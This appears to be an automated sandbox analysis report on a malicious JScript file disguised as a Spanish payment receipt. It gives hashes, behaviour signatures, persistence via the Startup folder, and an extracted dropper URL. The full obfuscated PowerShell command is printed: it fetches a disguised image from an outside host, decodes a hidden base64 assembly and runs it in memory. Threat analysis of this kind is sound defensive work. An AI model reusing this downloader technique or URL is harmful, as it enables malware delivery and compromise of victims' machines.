1f2223afa04f4df83e130651462fdd0ebbd679a09123d2233712315f4db1b547

General

Target
Comprobante de pago.js
Size 1009KB
Sample260822-nbj3rstdlf
SHA256 1f2223afa04f4df83e130651462fdd0ebbd679a09123d2233712315f4db1b547
MD5 1fda17c33b20c0c44e4bf698888bb012
SHA1 354fb326620bc67caa341ba908b7e9dcdad9484b
SHA512 02b122cffb33a1cd2ef44127a4ee84b4b4aa2b608f94b7e6f3f7c1495210bc92d51f79d53c3c77575ef655317e55336c03948c0f221249aec602055c3a2071e1
SSDEEP 768:hDbPvDLlrjhX5HdbHpJNxz/bv9xFb/b5dPf973zJhnVFlZJNjNJj/z/dN1/NbZjD:xJz
TLSH
T17C2592ACCF6CA4B5EE4360EDB8E64630FFA4955E52925B94361D40E423E9F410F93B38
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence privilege_escalation

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
https://sunix-technology.com/images/MSI_PRO.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	480	2580	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	480	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Comprobante de pago.js	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
480	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
480	powershell.exe
480	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	480	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Comprobante de pago.js"
1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:4972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$immunization=''https://sunix-technology.com/images/MSI_PRO.png''; $isogeny = [System.Net.HttpWebRequest]::Create($immunization); $isogeny.UserAgent = ''Mozilla/5.0''; $succubuses = $isogeny.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($succubuses); $succourless = $reader.ReadtoEnd(); $oxofluorides=''IN-''; $flocculous=''-in1''; $Walachia=[string]::IndexOf($succourless, $oxofluorides); $preying=$succourless.LastIndexOf($flocculous); if($Walachia -eq -1 -or $preying -eq -1){return}; $desmodontes=$Walachia+$oxofluorides.Length; $ondansetron=$succourless.Substring($succourless.IndexOf($oxofluorides)+$oxofluorides.Length, $preying-($succourless.IndexOf($oxofluorides)+$oxofluorides.Length)); $psychedelically=$ondansetron.Replace(''*'',''A'').ToCharArray(); $dissentany = -join $psychedelically[($psychedelically.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($dissentany)); $holisms=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $collarbone=$holisms.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $sprit=(''sqSq5QFynme3xjTVGwIT/nImKlKI3WxfDEwXM2fhKCdpqoalUOS0q2wJhfpUrfEvBDBNmPPEToGdajEkzWpZUQxqyMGlBQ7ldcS+hNa3Pg8='','''',''9YcrMUHVXa3+SrS8MQamXRqTeMeDr+EKAMyJb8R4UWf05900U5dQIStyrM41AXvS'',''2dRW0Kje/9uZ0bZXaWBrUp/74p7PtFyGYONR2uy+olQ='',''yPLZCmqbAYKSQN27auUMXbLJzssX7w9pFa1pwRPINOY='','''',''AI2iZpTLW9m2AhPY2f/TXg4NnqvWVJl3HuMsJifH0uY='','''',''DG6WYSnSz0CJKvPXnuz/MKEiiduI2TLq2MTx45Hmz+w='',''sK403RgTQ+RYvqzUsYrm/HbT/kXC8CvlF9eKtmXqx+cPROqUmPH30pQYla5P1rVi'',''JmgZkIZL3k8AE8exynElh5omARuQDT7soWjT1xD4WKk='',''3rCjm94MzCIJgPNye+7YPSA7MKBKd8HPTTsLZ/yEQVM='',''VNsQaekGQ0BZa8L//DUGmTUn82eHI0ReqjGNCnyH2+o='','''',''ZsMYn95SAkQR7Gu2Lj2uMRKFjb8UKs/Fe4C4TdVNU7s='',''s7bf7IX0boz5VbpzTUJRgnSsfl5nSXZh9ehD4zKC/sQ='','''','''',''''); try{$gosha=($collarbone.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($gosha.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$sprit)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:480